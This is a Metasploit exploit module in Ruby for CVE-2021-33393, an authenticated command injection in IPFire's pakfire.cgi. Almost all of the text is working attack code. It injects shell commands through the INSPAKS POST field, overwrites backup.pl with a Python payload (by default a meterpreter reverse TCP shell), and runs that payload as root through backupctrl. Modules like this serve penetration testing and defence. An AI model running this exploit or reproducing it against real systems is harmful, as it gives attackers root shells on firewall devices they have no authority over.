## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in the /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156 and prior to execute arbitrary code as the root user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mücahit Saratar ', # vulnerability research & exploit development 'Grant Willcox' # Module enhancements and documentation fixes. ], 'References' => [ [ 'EDB', '49869' ], [ 'CVE', '2021-33393'], [ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'], [ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'], ], 'Platform' => ['python' ], 'Privileged' => true, 'Arch' => [ ARCH_PYTHON ], 'Targets' => [ [ 'Python Dropper', { 'Platform' => 'python', 'Arch' => [ ARCH_PYTHON ], 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2021-05-17', 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ] }, 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(444), OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', '']), ] ) end def vpath '/cgi-bin/pakfire.cgi' # vulnerable path end def send_packet(method, execstr, waitsec) myheaders = { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/" } if method == 'GET' response = send_request_cgi( 'uri' => vpath, 'headers' => myheaders, 'SSL' => true, 'timeout' => waitsec ) else response = send_request_cgi( 'uri' => vpath, 'headers' => myheaders, 'SSL' => true, 'method' => 'POST', 'vars_post' => { 'INSPAKS' => ";#{execstr}", 'ACTION' => 'install', 'x' => Rex::Text.rand_text_numeric(2), 'y' => Rex::Text.rand_text_numeric(2) }, 'timeout' => waitsec ) end response end def check cevap = send_packet('GET', '', 10) if cevap.nil? || cevap.body.empty? return CheckCode::Unknown('No response from the target!') end unless cevap.body.scan(/401 Unauthorized/).empty? return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!') end version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || '' core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || '' unless version return CheckCode::Safe('Target is not IPFire') end if core.to_i >= 157 return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})") end CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})") end def exploit temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30) print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...") if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil? fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!") end print_status('Overwriting the contents of backup.pl with a Python header statement') if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil? fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!") end print_status('Appending the contents of backup.pl with the Python code to be executed.') if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil? fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!") end print_status('Executing /usr/local/bin/backupctrl to run the payload') unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil? fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.') end print_good('You should now have your shell, restoring the original contents of the backup.pl file...') if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil? fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!") end print_status('All done, enjoy the shells!') rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end